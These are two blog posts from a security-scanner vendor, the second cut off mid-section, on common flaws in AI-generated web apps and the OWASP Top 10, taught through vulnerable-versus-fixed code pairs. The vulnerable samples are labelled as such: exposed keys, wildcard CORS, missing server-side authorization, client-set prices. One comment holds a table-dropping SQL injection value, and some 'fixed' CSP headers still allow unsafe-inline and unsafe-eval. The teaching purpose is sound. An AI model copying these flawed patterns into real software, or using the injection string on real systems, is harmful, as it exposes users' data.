*AI coding assistants ship fast, and ship vulnerabilities with it. The 8 most common security mistakes in vibe-coded apps, and how to catch them.*

Published: 2026-03-10 | Reading time: 14 min read
URL: https://checkvibe.dev/blog/vibe-coding-security-risks


**The main security risks of vibe coding are exposed API keys, missing input validation, permissive CORS, absent rate limiting, client-side-only authorization, insecure cookies, missing security headers, and hallucinated package imports.** AI assistants optimize for working code, not secure code — so vibe-coded apps ship these flaws by default unless you review, scan, and fix them before deploying.

AI coding assistants like Cursor, Copilot, and Windsurf have changed how developers ship software. You describe what you want, and the AI writes the code. This workflow — often called "vibe coding" — is fast, intuitive, and increasingly popular among indie hackers and small teams. But the code they produce isn't secure by default. Not because AI models are malicious — they simply optimize for what you asked (working features), not what you didn't ask for (secure features).

The pattern is well documented. A Stanford University study found that developers with access to an AI assistant wrote **significantly less secure code** than those without — and were **more likely to believe** their code was secure ([Perry et al., "Do Users Write More Insecure Code with AI Assistants?"](https://arxiv.org/abs/2211.03622)). Researchers at NYU's Tandon School of Engineering found that roughly **40% of GitHub Copilot's outputs** in security-relevant scenarios were vulnerable, spanning weaknesses that map directly to the [OWASP Top 10](https://owasp.org/www-project-top-ten/) ([Pearce et al., "Asleep at the Keyboard?"](https://arxiv.org/abs/2108.09293)). And research presented at USENIX Security 2025 measured commercial LLMs hallucinating non-existent package names in about **5.2%** of generated code samples ([Spracklen et al., "We Have a Package for You!"](https://arxiv.org/abs/2406.10279)) — a supply-chain attack vector that didn't exist before AI coding tools.

These aren't theoretical risks. They're measurable, reproducible patterns. Here's what goes wrong and how to fix it.

## What Are the Most Common Security Mistakes in Vibe-Coded Apps?

### 1. Exposed API Keys in Frontend Code

AI assistants frequently hardcode API keys, database URLs, and secrets directly in client-side code. The model treats them as configuration strings, not secrets.

**Vulnerable (AI-generated):**

```javascript
// AI-generated: works, but exposes your Stripe key to anyone
const stripe = Stripe('sk_live_abc123...');

// AI-generated: Supabase service role key in the browser
import { createClient } from '@supabase/supabase-js';
const supabase = createClient(
  'https://abc.supabase.co',
  'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoic2VydmljZV9yb2xlIn0...'
);
```

**Fixed:**

```javascript
// Server-side only (e.g., API route or server action)
const stripe = Stripe(process.env.STRIPE_SECRET_KEY);

// Browser uses the anon key (safe to expose), not service_role
const supabase = createClient(
  process.env.NEXT_PUBLIC_SUPABASE_URL,
  process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY
);
```

**Why AI gets this wrong:** The model completes patterns it's seen in tutorials and Stack Overflow answers. Many tutorials use hardcoded keys for simplicity. The AI doesn't distinguish between "code that works" and "code that's safe to deploy."

### 2. Missing Input Validation

When you ask AI to "build a contact form," you get a form that submits data. You don't get validation against SQL injection, XSS payloads, or oversized inputs — unless you specifically ask.

**Vulnerable (AI-generated):**

```typescript
// API route: accepts anything the user sends
export async function POST(req: Request) {
  const { name, email, message } = await req.json();
  await db.insert('messages', { name, email, message });
  return Response.json({ success: true });
}
```

**Fixed:**

```typescript
import { z } from 'zod';
import DOMPurify from 'isomorphic-dompurify';

const contactSchema = z.object({
  name: z.string().min(1).max(100).trim(),
  email: z.string().email().max(254),
  message: z.string().min(1).max(5000).trim(),
});

export async function POST(req: Request) {
  const body = await req.json();
  const result = contactSchema.safeParse(body);

  if (!result.success) {
    return Response.json({ error: 'Invalid input' }, { status: 400 });
  }

  const { name, email, message } = result.data;
  const sanitizedMessage = DOMPurify.sanitize(message);

  await db.insert('messages', {
    name,
    email,
    message: sanitizedMessage,
  });

  return Response.json({ success: true });
}
```

**Why AI gets this wrong:** You asked for a form, not a secure form. The model fulfills the stated requirement. Validation, sanitization, and length limits are implicit security concerns that the model won't add unless prompted.

### 3. Permissive CORS Configuration

AI models default to `Access-Control-Allow-Origin: *` because it "just works." This allows any website to make authenticated requests to your API.

**Vulnerable (AI-generated):**

```typescript
// Express middleware: allows any origin
app.use(cors({ origin: '*', credentials: true }));

// Next.js API route: wide open
export async function GET(req: Request) {
  return new Response(JSON.stringify(data), {
    headers: {
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Credentials': 'true',
    },
  });
}
```

**Fixed:**

```typescript
// Express: explicit allowlist
const allowedOrigins = [
  'https://yourdomain.com',
  'https://app.yourdomain.com',
];

app.use(cors({
  origin: (origin, callback) => {
    if (!origin || allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('CORS not allowed'));
    }
  },
  credentials: true,
}));
```

**Why AI gets this wrong:** Wildcard CORS eliminates development friction. The model optimizes for "it works" over "it's locked down." For a deep dive into the attack patterns this enables, see our [CORS misconfiguration guide](/blog/cors-misconfiguration-guide).

### 4. No Rate Limiting

AI-generated API routes rarely include rate limiting. An attacker can brute-force login endpoints, spam form submissions, or exhaust your API quotas in minutes.

**Vulnerable (AI-generated):**

```typescript
// Login route: no rate limiting — brute-force friendly
export async function POST(req: Request) {
  const { email, password } = await req.json();
  const user = await db.query('SELECT * FROM users WHERE email = $1', [email]);

  if (!user || !await bcrypt.compare(password, user.password_hash)) {
    return Response.json({ error: 'Invalid credentials' }, { status: 401 });
  }

  return Response.json({ token: generateJWT(user) });
}
```

**Fixed:**

```typescript
import { Ratelimit } from '@upstash/ratelimit';
import { Redis } from '@upstash/redis';

const ratelimit = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(5, '60 s'), // 5 attempts per minute
  prefix: 'login',
});

export async function POST(req: Request) {
  const ip = req.headers.get('x-forwarded-for') ?? '127.0.0.1';
  const { success, remaining } = await ratelimit.limit(ip);

  if (!success) {
    return Response.json(
      { error: 'Too many attempts. Try again later.' },
      { status: 429, headers: { 'Retry-After': '60' } }
    );
  }

  const { email, password } = await req.json();
  const user = await db.query('SELECT * FROM users WHERE email = $1', [email]);

  if (!user || !await bcrypt.compare(password, user.password_hash)) {
    // Generic message prevents account enumeration
    return Response.json({ error: 'Invalid credentials' }, { status: 401 });
  }

  return Response.json({ token: generateJWT(user) });
}
```

### 5. Client-Side Authorization

AI often puts authorization logic in the frontend — checking `if (user.role === 'admin')` in React components instead of enforcing it server-side. Anyone with browser dev tools can bypass this.

**Vulnerable (AI-generated):**

```tsx
// React component: admin check only in the UI
function AdminPanel() {
  const { user } = useAuth();

  if (user.role !== 'admin') {
    return <p>Access denied</p>;
  }

  return (
    <div>
      <button onClick={() => fetch('/api/users/delete', {
        method: 'POST',
        body: JSON.stringify({ userId: targetId }),
      })}>
        Delete User
      </button>
    </div>
  );
}

// API route: no server-side auth check
export async function POST(req: Request) {
  const { userId } = await req.json();
  await db.query('DELETE FROM users WHERE id = $1', [userId]);
  return Response.json({ success: true });
}
```

**Fixed:**

```typescript
// API route: server-side authorization
export async function POST(req: Request) {
  const session = await getServerSession();

  if (!session) {
    return Response.json({ error: 'Unauthorized' }, { status: 401 });
  }

  // Check role server-side against the database, not the JWT
  const admin = await db.query(
    'SELECT role FROM users WHERE id = $1',
    [session.user.id]
  );

  if (admin?.role !== 'admin') {
    return Response.json({ error: 'Forbidden' }, { status: 403 });
  }

  const { userId } = await req.json();
  await db.query('DELETE FROM users WHERE id = $1', [userId]);
  return Response.json({ success: true });
}
```

**Why AI gets this wrong:** The AI sees your React component context and writes authorization logic where the conditional rendering happens. It doesn't automatically add the corresponding server-side check.

### 6. Insecure Cookie Configuration

Session cookies created by AI code often lack `HttpOnly`, `Secure`, and `SameSite` attributes, making them vulnerable to theft via XSS or CSRF attacks.

**Vulnerable (AI-generated):**

```typescript
// Sets a session cookie with no security attributes
res.setHeader('Set-Cookie', `session=${token}; Path=/`);
```

**Fixed:**

```typescript
// Secure cookie with all protective attributes
res.setHeader('Set-Cookie', [
  `session=${token}`,
  'Path=/',
  'HttpOnly',         // Prevents JavaScript access (XSS protection)
  'Secure',           // Only sent over HTTPS
  'SameSite=Lax',     // CSRF protection
  `Max-Age=${60 * 60 * 24 * 7}`, // 7 day expiry
].join('; '));
```

**Why AI gets this wrong:** The minimal cookie syntax works. The AI produces the shortest working solution. Security attributes are defensive additions that don't affect functionality in development.

### 7. Missing Security Headers

AI-generated Next.js and Express apps almost never include security headers like `Content-Security-Policy`, `X-Frame-Options`, or `Strict-Transport-Security`. These are your first line of defense against common attacks.

**Vulnerable (AI-generated):**

```typescript
// next.config.ts: no security headers configured
const nextConfig = {
  // AI generates config for features, not security
};
```

**Fixed:**

```typescript
// next.config.ts: security headers on all routes
const nextConfig = {
  async headers() {
    return [{
      source: '/:path*',
      headers: [
        { key: 'X-Frame-Options', value: 'DENY' },
        { key: 'X-Content-Type-Options', value: 'nosniff' },
        { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
        { key: 'Strict-Transport-Security', value: 'max-age=31536000; includeSubDomains; preload' },
        {
          key: 'Content-Security-Policy',
          value: "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; frame-ancestors 'none'"
        },
      ],
    }];
  },
};
```

For a comprehensive walkthrough of every security header and how to configure them on any platform, see our [security headers complete guide](/blog/security-headers-complete-guide).

### 8. Package Hallucination

This is a risk unique to AI-generated code. LLMs sometimes suggest importing packages that don't exist. They hallucinate plausible-sounding package names based on patterns in their training data.

**Vulnerable (AI-generated):**

```typescript
// This package doesn't exist — AI hallucinated it
import { sanitize } from 'express-input-sanitizer';
// Or: import { validateSchema } from 'next-api-validator';
```

**Why this is dangerous:** An attacker can register the hallucinated package name on npm, fill it with malicious code, and wait for developers to `npm install` it. This is called a **dependency confusion** or **package squatting** attack. The [USENIX Security 2025 package-hallucination study](https://arxiv.org/abs/2406.10279) measured commercial LLMs hallucinating package names in roughly 5.2% of generated samples — and many of those names are available for registration on public registries.

**How to protect yourself:**
- Verify every package name before installing. Check it exists on [npmjs.com](https://www.npmjs.com/) and has a reasonable download count
- Use `npm audit` or `yarn audit` after installing new dependencies
- Pin exact versions in your `package.json` (use `--save-exact`)
- Consider tools like Socket.dev that flag suspicious packages

## Why Does AI-Generated Code Feel Safer Than It Is?

The most dangerous aspect of vibe coding isn't the vulnerabilities themselves — it's the **false sense of security** they create.

The [Stanford study](https://arxiv.org/abs/2211.03622) didn't just find that AI-assisted developers wrote less secure code — it found something worse: those developers **rated their code as significantly more secure** than developers writing code manually. The code was less secure, but the developers were more confident.

This confidence gap has measurable consequences:

- **Fewer code reviews.** If the AI "knows what it's doing," why double-check?
- **Skipped security testing.** The code looks clean and professional, so it must be safe.
- **Faster shipping.** Vibe coding accelerates development velocity, which means vulnerabilities reach production faster.
- **Less learning.** When the AI writes your auth logic, you don't build the mental model to spot when it's wrong.

The result is a growing population of applications that look polished on the outside but have fundamental security flaws in their foundations. This is especially acute for solo founders and indie hackers who may not have security expertise on their team.

For a deeper comparison of how different AI tools handle security, see our [Cursor vs Copilot security audit](/blog/cursor-copilot-security-audit).

## What Happens If You Ship These Vulnerabilities?

When you're shipping fast — especially as a solo founder or small team — security reviews get skipped. The code works, users are happy, and the security holes sit quietly until someone finds them.

The consequences are real:

- **Data breaches** — Exposed API keys and missing input validation lead to unauthorized data access
- **Account takeover** — Weak cookies and client-side auth let attackers hijack user sessions
- **Financial loss** — Brute-forced endpoints can drain API credits, and data breaches carry regulatory exposure under GDPR (fines can reach 4% of annual global revenue)
- **Reputation damage** — A single security incident can destroy user trust that took months to build

Most of these failure modes are not exotic. They map onto long-standing categories in the [OWASP Top 10](https://owasp.org/www-project-top-ten/) — broken access control, injection, security misconfiguration, and identification and authentication failures. AI didn't invent these bugs; it mass-produces them.

## How Do You Catch Security Issues in AI-Generated Code?

You have three options:

1. **Manual security audits** — expensive ($5k-$20k per engagement) and slow (weeks)
2. **Learn security yourself** — valuable but time-consuming
3. **Automated scanning** — fast, affordable, and catches the patterns AI gets wrong

Tools like CheckVibe are built specifically for this gap. Paste your URL, get a scan in 30 seconds, and receive remediation steps you can work through in your editor.

### A Practical Workflow

Here's the security workflow we recommend for vibe-coded projects:

1. **Build your feature** with Cursor, Copilot, or your preferred AI tool
2. **Scan immediately** — run an automated security scan before merging
3. **Review the findings** — focus on Critical and High severity issues first
4. **Apply the fix** — use the finding description and remediation steps as a checklist
5. **Re-scan** — verify the fixes didn't introduce new issues
6. **Repeat per feature** — make scanning part of your development loop, not a one-time event

For a step-by-step hardening guide you can apply to any vibe-coded project, see [How to Secure Your Vibe-Coded App](/blog/how-to-secure-vibe-coded-app).

## The Bottom Line

Vibe coding isn't going away. If anything, it's accelerating. The solution isn't to stop using AI — it's to add a security check to your workflow. Scan after you ship, fix what's found, and scan again. Make it a habit, not a one-time audit.

The developers who will build the most successful AI-assisted products aren't the ones who blindly trust AI output — they're the ones who treat AI as a first draft and add verification as a standard step. For the broader context on securing AI-assisted development, see our [Vibe Coding Security overview](/blog/vibe-coding-security).

[Scan your vibe-coded app now](https://checkvibe.dev/signup) — free scan, 36 security checks, remediation prompts.

## FAQ

### Is vibe coding safe?

Vibe coding is safe **when combined with security verification**. AI-generated code routinely contains vulnerabilities — NYU Tandon's analysis found roughly 40% of Copilot's outputs in security-relevant scenarios were vulnerable — but the risk comes from deploying that code without review, not from using AI in the first place. The workflow matters more than the tool. If you scan and fix security issues before deploying (and after each major feature addition), vibe coding can be as secure as traditional development. The danger is treating AI output as production-ready without a security pass.

### Which AI coding tool is most secure?

No AI coding tool consistently produces secure code. In our testing across Cursor, GitHub Copilot, Windsurf, and Claude-based tools, all of them generate the same categories of vulnerabilities: exposed secrets, missing input validation, permissive CORS, and absent rate limiting. Some models are slightly better at specific patterns (Claude tends to add more input validation unprompted, Copilot is better at recognizing secret patterns), but **none of them reliably produce production-secure code without explicit security prompting**. The best approach is tool-agnostic: scan the output regardless of which AI wrote it.

### Can remediation prompts fix security bugs by themselves?

No. A remediation prompt is a checklist, not an automated repair. It should explain the vulnerability, point to the affected area, and give clear code or configuration steps so a developer can make and verify the fix.

### What percentage of AI code has vulnerabilities?

The best-known measurement comes from NYU Tandon's ["Asleep at the Keyboard?"](https://arxiv.org/abs/2108.09293) study, which found **roughly 40% of GitHub Copilot's outputs in security-relevant scenarios were vulnerable**. Stanford's [user study](https://arxiv.org/abs/2211.03622) found developers with an AI assistant wrote less secure code than a control group — while believing it was more secure. The most common categories are injection vulnerabilities (SQL injection, XSS), authentication and authorization flaws, and security misconfiguration (missing headers, permissive CORS, insecure cookies) — all core [OWASP Top 10](https://owasp.org/www-project-top-ten/) categories. These numbers represent code generated without explicit security prompting — when developers include security requirements in their prompts, the rate drops significantly, though it never reaches zero.


---

## OWASP Top 10 for Indie Hackers: A No-Nonsense Guide

*The OWASP Top 10 explained without the enterprise jargon. Practical examples from Next.js, Supabase, and React apps that indie hackers actually build.*

Published: 2026-03-05 | Reading time: 18 min read
URL: https://checkvibe.dev/blog/owasp-top-10-for-indie-hackers


The OWASP Top 10 is the gold standard list of web application security risks. But if you read the official documentation, it's written for enterprise security teams — not for a solo developer shipping a SaaS with Next.js and Supabase.

Here's the same list, translated into real examples from the stack you actually use. For each category, you get a concrete code example, a quick fix you can apply today, and an honest assessment of how much it matters when you're an indie hacker.

## Priority Ranking: Which of the 10 Matter Most for Indie Hackers

Before diving in, here's how I'd rank the OWASP Top 10 by real-world impact for a typical indie SaaS:

| Priority | OWASP Category | Why It Matters for You |
|----------|---------------|----------------------|
| 1 | Broken Access Control | Users accessing each other's data will kill your business overnight |
| 2 | Injection | SQL injection on a small SaaS is just as devastating as on a Fortune 500 app |
| 3 | Cryptographic Failures | Leaked API keys and exposed secrets are the #1 way indie apps get compromised |
| 4 | Security Misconfiguration | Missing headers and default configs are the low-hanging fruit attackers look for |
| 5 | Authentication Failures | Weak auth means anyone can take over your users' accounts |
| 6 | Vulnerable Components | One outdated npm package can open the door wide |
| 7 | Insecure Design | Hard to fix later — better to think about it now |
| 8 | Software and Data Integrity Failures | Supply chain attacks are increasing but less likely to target small apps |
| 9 | SSRF | Only relevant if your app fetches user-provided URLs |
| 10 | Logging and Monitoring Failures | Won't prevent an attack, but you'll be blind when one happens |

Now let's break each one down.

## 1. Broken Access Control

**What it means:** Users can do things they shouldn't — view other users' data, access admin pages, or modify records they don't own.

**In your stack:** Your Supabase RLS policies have gaps. A user can call your API with someone else's `user_id` and see their data.

```sql
-- Bad: no RLS, anyone can read everything
SELECT * FROM orders;

-- Good: RLS ensures users only see their own
CREATE POLICY "Users read own orders"
ON orders FOR SELECT USING (user_id = auth.uid());
```

Here's a more complete example showing how broken access control manifests in a Next.js API route:

```typescript
// Bad: No ownership check — any authenticated user can view any order
export async function GET(req: Request) {
  const { searchParams } = new URL(req.url);
  const orderId = searchParams.get("id");

  const { data } = await supabase
    .from("orders")
    .select("*")
    .eq("id", orderId)
    .single();

  return Response.json(data);
}

// Good: Verify the requesting user owns this resource
export async function GET(req: Request) {
  const { searchParams } = new URL(req.url);
  const orderId = searchParams.get("id");

  const {
    data: { user },
  } = await supabase.auth.getUser();

  const { data } = await supabase
    .from("orders")
    .select("*")
    .eq("id", orderId)
    .eq("user_id", user.id) // ownership check
    .single();

  if (!data) return Response.json({ error: "Not found" }, { status: 404 });
  return Response.json(data);
}
```

**Quick check:** Can you change the `id` parameter in your API URL and see someone else's data? If yes, you have broken access control.

**Quick fix:** Enable RLS on every single Supabase table. Then write policies that filter by `auth.uid()`. In your API routes, always include a `user_id` check in your queries. Never trust client-supplied IDs without validating ownership.

For a detailed checklist, see our [OWASP Top 10 Checklist](/blog/owasp-top-10-checklist) and [SaaS Security Checklist](/blog/saas-security-checklist-before-launch).

## 2. Cryptographic Failures

**What it means:** Sensitive data isn't properly protected — passwords stored in plaintext, API keys in source code, or no HTTPS.

**In your stack:** Your `.env.local` is committed to git. Your Supabase service role key is exposed in client-side code. You're storing user data without encryption at rest.

```typescript
// Bad: Exposing a service role key in client code
// Any variable prefixed with NEXT_PUBLIC_ is visible in the browser
const supabase = createClient(
  process.env.NEXT_PUBLIC_SUPABASE_URL!,
  process.env.NEXT_PUBLIC_SUPABASE_SERVICE_ROLE_KEY! // NEVER do this
);

// Good: Use the anon key on the client, service role only on the server
// Client-side
const supabase = createClient(
  process.env.NEXT_PUBLIC_SUPABASE_URL!,
  process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY! // safe for browser
);

// Server-side only (API routes, server components)
const supabaseAdmin = createClient(
  process.env.SUPABASE_URL!,
  process.env.SUPABASE_SERVICE_ROLE_KEY! // no NEXT_PUBLIC_ prefix
);
```

Another common mistake is storing sensitive user data in plaintext:

```typescript
// Bad: Storing API tokens in plaintext
await supabase.from("integrations").insert({
  user_id: user.id,
  slack_token: slackOAuthToken, // plaintext in the database
});

// Good: Encrypt before storing
import { encrypt, decrypt } from "@/lib/encryption";

await supabase.from("integrations").insert({
  user_id: user.id,
  slack_token: encrypt(slackOAuthToken), // AES-256-GCM encrypted
});
```

**Quick fix:** Run `git log --all --full-history -- "*.env*"` to check if you've ever committed secrets. If you have, rotate those keys immediately (changing the file isn't enough — the old values are in git history). Add `.env*` to `.gitignore`. Use `NEXT_PUBLIC_` prefix only for values that are genuinely safe to expose in the browser.

## 3. Injection

**What it means:** Untrusted data is sent to an interpreter as part of a command or query.

**In your stack:** If you're building raw SQL queries with string concatenation instead of using Supabase's query builder or parameterized queries.

```javascript
// Bad: SQL injection via user input
const { data } = await supabase.rpc('search', {
  query: `%${userInput}%` // if userInput contains SQL...
});

// Good: Supabase's query builder handles escaping
const { data } = await supabase
  .from('products')
  .select()
  .ilike('name', `%${userInput}%`);
```

XSS (cross-site scripting) is another form of injection that indie hackers often miss:

```tsx
// Bad: Rendering user HTML content directly
function UserComment({ comment }: { comment: string }) {
  return <div dangerouslySetInnerHTML={{ __html: comment }} />;
}

// Good: Let React handle escaping, or use a sanitizer
import DOMPurify from "dompurify";

function UserComment({ comment }: { comment: string }) {
  // Option 1: Just render as text (React escapes by default)
  return <div>{comment}</div>;

  // Option 2: If you need HTML, sanitize first
  return (
    <div
      dangerouslySetInnerHTML={{
        __html: DOMPurify.sanitize(comment),
      }}
    />
  );
}
```

And for API routes that accept user input for database operations:

```typescript
// Bad: Dynamic column names from user input
const sortBy = searchParams.get("sort"); // could be "name; DROP TABLE users--"
const { data } = await supabase
  .from("products")
  .select()
  .order(sortBy!); // untrusted input in query

// Good: Validate against an allowlist
const ALLOWED_SORT_COLUMNS = ["name", "price", "created_at"];
const sortBy = searchParams.get("sort");

if (!sortBy || !ALLOWED_SORT_COLUMNS.includes(sortBy)) {
  return Response.json({ error: "Invalid sort parameter" }, { status: 400 });
}

const { data } = await supabase.from("products").select().order(sortBy);
```

**Quick fix:** Never concatenate user input into SQL strings. Use Supabase's query builder or parameterized queries. For any user-provided values that become part of query structure (column names, table names, sort orders), validate against a strict allowlist. For HTML output, rely on React's default escaping and never use `dangerouslySetInnerHTML` without DOMPurify.

Check out our [API Security Checklist](/blog/api-security-checklist) for more injection prevention patterns.

## 4. Insecure Design

**What it means:** The application was designed without security in mind. No threat modeling, no abuse case analysis.

**In your stack:** Your pricing page lets users modify the `price` parameter in the checkout request. Your signup flow doesn't rate-limit account creation.

```typescript
// Bad: Trusting client-side price data
export async function POST(req: Request) {
  const { priceInCents, plan } = await req.json();

  const session = await stripe.checkout.sessions.create({
    line_items: [
      {
        price_data: {
          currency: "usd",
          unit_amount: priceInCents, // user controls the price!
          product_data: { name: plan },
        },
        quantity: 1,
      },
    ],
    mode: "subscription",
  });

  return Response.json({ url: session.url });
}

// Good: Use server-side price IDs from your catalog
const PRICE_MAP: Record<string, string> = {
  starter_monthly: "price_1AbCdEfGhIjKlMnOp",
  starter_annual: "price_2AbCdEfGhIjKlMnOp",
  pro_monthly: "price_3AbCdEfGhIjKlMnOp",
  pro_annual: "price_4AbCdEfGhIjKlMnOp",
};

export async function POST(req: Request) {
  const { planId } = await req.json();
  const priceId = PRICE_MAP[planId];

  if (!priceId) {
    return Response.json({ error: "Invalid plan" }, { status: 400 });
  }

  const session = await stripe.checkout.sessions.create({
    line_items: [{ price: priceId, quantity: 1 }],
    mode: "subscription",
  });

  return Response.json({ url: session.url });
}
```

Another common insecure design pattern is unlimited resource creation:

```typescript
// Bad: No limits on free accounts
export async function POST(req: Request) {
  const { user } = await getSession();
  const project = await createProject(user.id, req.body);
  return Response.json(project);
}

// Good: Check plan limits atomically
export async function POST(req: Request) {
  const { user } = await getSession();

  const { data: limit } = await supabase.rpc("check_project_limit", {
    p_user_id: user.id,
  });

  if (!limit.allowed) {
    return Response.json(
      {
        error: `Plan limit reached (${limit.current_count}/${limit.project_limit})`,
      },
      { status: 403 }
    );
  }

  const project = await createProject(user.id, req.body);
  return Response.json(project);
}
```

**Quick fix:** Never trust any value from the client that determines pricing, permissions, or resource limits. Map client inputs to server-side configurations. Use atomic database functions for limit checking (avoid read-then-write patterns which are vulnerable to race conditions). Rate-limit all creation endpoints.

## 5. Security Misconfiguration

**What it means:** Default settings left unchanged, unnecessary features enabled, missing security headers.

**In your stack:** Your Next.js app has no `Content-Security-Policy` header. Your Supabase project still has the default anon key permissions. Debug mode is on in production.

```typescript
// next.config.ts — Add security headers
const securityHeaders = [
  {
    key: "Content-Security-Policy",
    value: [
      "default-src 'self'",
      "script-src 'self' 'unsafe-inline' 'unsafe-eval'",
      "style-src 'self' 'unsafe-inline'",
      "img-src 'self' data: https:",
      "connect-src 'self' https://*.supabase.co https://api.stripe.com",
      "frame-ancestors 'none'",
    ].join("; "),
  },
  { key: "X-Frame-Options", value: "DENY" },
  { key: "X-Content-Type-Options", value: "nosniff" },
  { key: "Referrer-Policy", value: "strict-origin-when-cross-origin" },
  {
    key: "Strict-Transport-Security",
    value: "max-age=63072000; includeSubDomains; preload",
  },
  {
    key: "Permissions-Policy",
    value: "camera=(), microphone=(), geolocation=()",
  },
];

export default {
  async headers() {
    return [{ source: "/(.*)", headers: securityHeaders }];
  },
};
```

Also check your `package.json` for debug flags:

```json
// Bad: Debug mode in production scripts
{
  "scripts": {
    "start": "NODE_ENV=production DEBUG=* next start"
  }
}

// Good: No debug flags in production
{
  "scripts": {
    "start": "next start"
  }
}
```

**Quick fix:** Add security headers to `next.config.ts` (see the example above). Run your site through a [security scanner](/blog/how-to-check-if-website-is-secure) to see what you're missing. Remove `x-powered-by` (Next.js does this by default with `poweredByHeader: false`). Disable directory listing. Remove any `/api/debug` or `/api/test` routes before going to production.

## 6. Vulnerable Components

**What it means:** You're using libraries with known security vulnerabilities.

**In your stack:** Run `npm audit` right now. If you see "high" or "critical" vulnerabilities, you're running vulnerable components. This is common in fast-moving JavaScript ecosystems.

```bash
# Check for known vulnerabilities
npm audit

# Fix what can be auto-fixed
npm audit fix

# See what's outdated
npx npm-check-updates

# For a full dependency tree analysis
npx depcheck
```

Here's how to set up automated checks in your CI pipeline:

```yaml
# .github/workflows/security.yml
name: Security Audit
on:
  push:
    branches: [main]
  schedule:
    - cron: "0 9 * * 1" # Every Monday at 9am

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
      - run: npm ci
      - run: npm audit --audit-level=high
        continue-on-error: false
```

**Quick fix:** Run `npm audit fix` today. Set up `npm audit` in your CI pipeline so it runs on every push. Use Dependabot or Renovate to get automatic PRs when dependencies have security updates. Pin your GitHub Actions to specific SHA hashes rather than tags (e.g., `actions/checkout@abc123` instead of `actions/checkout@v4`).

## 7. Authentication Failures

**What it means:** Weak password requirements, no brute-force protection, broken session management.

**In your stack:** Your login page allows unlimited attempts. Your password reset token doesn't expire. Your session cookies lack `HttpOnly` and `Secure` flags.

```typescript
// Bad: No rate limiting on login
export async function POST(req: Request) {
  const { email, password } = await req.json();
  const { data, error } = await supabase.auth.signInWithPassword({
    email,
    password,
  });
  // attacker can try millions of passwords
  return Response.json(data);
}

// Good: Rate limit by IP + email
import { Ratelimit } from "@upstash/ratelimit";
import { Redis } from "@upstash/redis";

const ratelimit = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(5, "60 s"), // 5 attempts per minute
});

export async function POST(req: Request) {
  const { email, password } = await req.json();
  const ip = req.headers.get("x-forwarded-for") ?? "unknown";

  const { success } = await ratelimit.limit(`login:${ip}:${email}`);
  if (!success) {
    return Response.json(
      { error: "Too many attempts. Try again later." },
      { status: 429 }
    );
  }

  const { data, error } = await supabase.auth.signInWithPassword({
    email,
    password,
  });

  // Return generic error message to prevent account enumeration
  if (error) {
    return Response.json(
      { error: "Invalid email or password" },
      { status: 401 }
    );
  }

  return Response.json(data);
}
```

**Quick fix:** If you're using Supabase Auth, most of the session management is handled for you. But you still need to: (1) add rate limiting to login and signup endpoints, (2) return generic error messages like "Invalid email or password" instead of "No account found for this email" (which reveals whether an email is registered), (3) enforce minimum password length (Supabase defaults to 6 characters — consider raising it to 8 or 10 via the dashboard), and (4) enable email confirmation for new signups.

## 8. Software and Data Integrity Failures

**What it means:** Code and data aren't verified for integrity. CI/CD pipelines can be compromised.

**In your stack:** Your GitHub Actions workflow uses `actions/checkout@latest` instead of pinning to a specific SHA. Anyone who compromises that action can inject code into your builds.

```yaml
# Bad: Using mutable tags
- uses: actions/checkout@v4
- uses: actions/setup-node@v4

# Good: Pin to specific commit SHA
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
```

Another common integrity failure is not verifying webhook signatures:

```typescript
// Bad: Trusting webhook payloads without verification
export async function POST(req: Request) {
  const event = await req.json();
  // Anyone can send a fake webhook to this endpoint!
  await processStripeEvent(event);
  return Response.json({ received: true });
}

// Good: Verify the webhook signature
import Stripe from "stripe";

const stripe = new Stripe(process.env.STRIPE_SECRET_KEY!);

export async function POST(req: Request) {
  const body = await req.text();
  const signature = req.headers.get("stripe-signature")!;

  let event: Stripe.Event;
  try {
    event = stripe.webhooks.constructEvent(
      body,
      signature,
      process.env.STRIPE_WEBHOOK_SECRET!
    );
  } catch (err) {
    return Response.json({ error: "Invalid signature" }, { status: 400 });
  }

  await processStripeEvent(event);
  return Response.json({ received: true });
}
```

**Quick fix:** Pin all GitHub Actions to commit SHAs. Verify signatures on every webhook endpoint (Stripe, GitHub, Slack, etc.). Use `npm ci` instead of `npm install` in CI to ensure reproducible builds from your lockfile. Enable npm's package-lock verification.

## 9. Logging and Monitoring Failures

**What it means:** You can't detect attacks because you're not logging security events.

**In your stack:** You have no idea who logged in, what API keys were used, or whether someone is brute-forcing your endpoints. When something goes wrong, you're blind.

```typescript
// Minimal security logging for a Next.js API route
export async function POST(req: Request) {
  const ip = req.headers.get("x-forwarded-for") ?? "unknown";
  const userAgent = req.headers.get("user-agent") ?? "unknown";

  const { email, password } = await req.json();
  const { data, error } = await supabase.auth.signInWithPassword({
    email,
    password,
  });

  if (error) {
    // Log failed login attempts
    console.warn(
      JSON.stringify({
        event: "login_failed",
        email,
        ip,
        userAgent,
        reason: error.message,
        timestamp: new Date().toISOString(),
      })
    );
    return Response.json({ error: "Invalid credentials" }, { status: 401 });
  }

  // Log successful logins
  console.info(
    JSON.stringify({
      event: "login_success",
      userId: data.user.id,
      ip,
      timestamp: new Date().toISOString(),
    })
  );

  return Response.json(data);
}
```

For structured logging in production, consider a service like Axiom, Datadog, or even a simple table:

```sql
-- Simple security events table
CREATE TABLE security_events (
  id uuid DEFAULT gen_random_uuid() PRIMARY KEY,
  event_type text NOT NULL,       -- 'login_failed', 'api_key_used', 'rate_limited'
  user_id uuid REFERENCES auth.users,
  ip_address text,
  metadata jsonb DEFAULT '{}',
  created_at timestamptz DEFAULT now()
);

-- RLS: only service_role can insert, users can read their own
ALTER TABLE security_events ENABLE ROW LEVEL SECURITY;

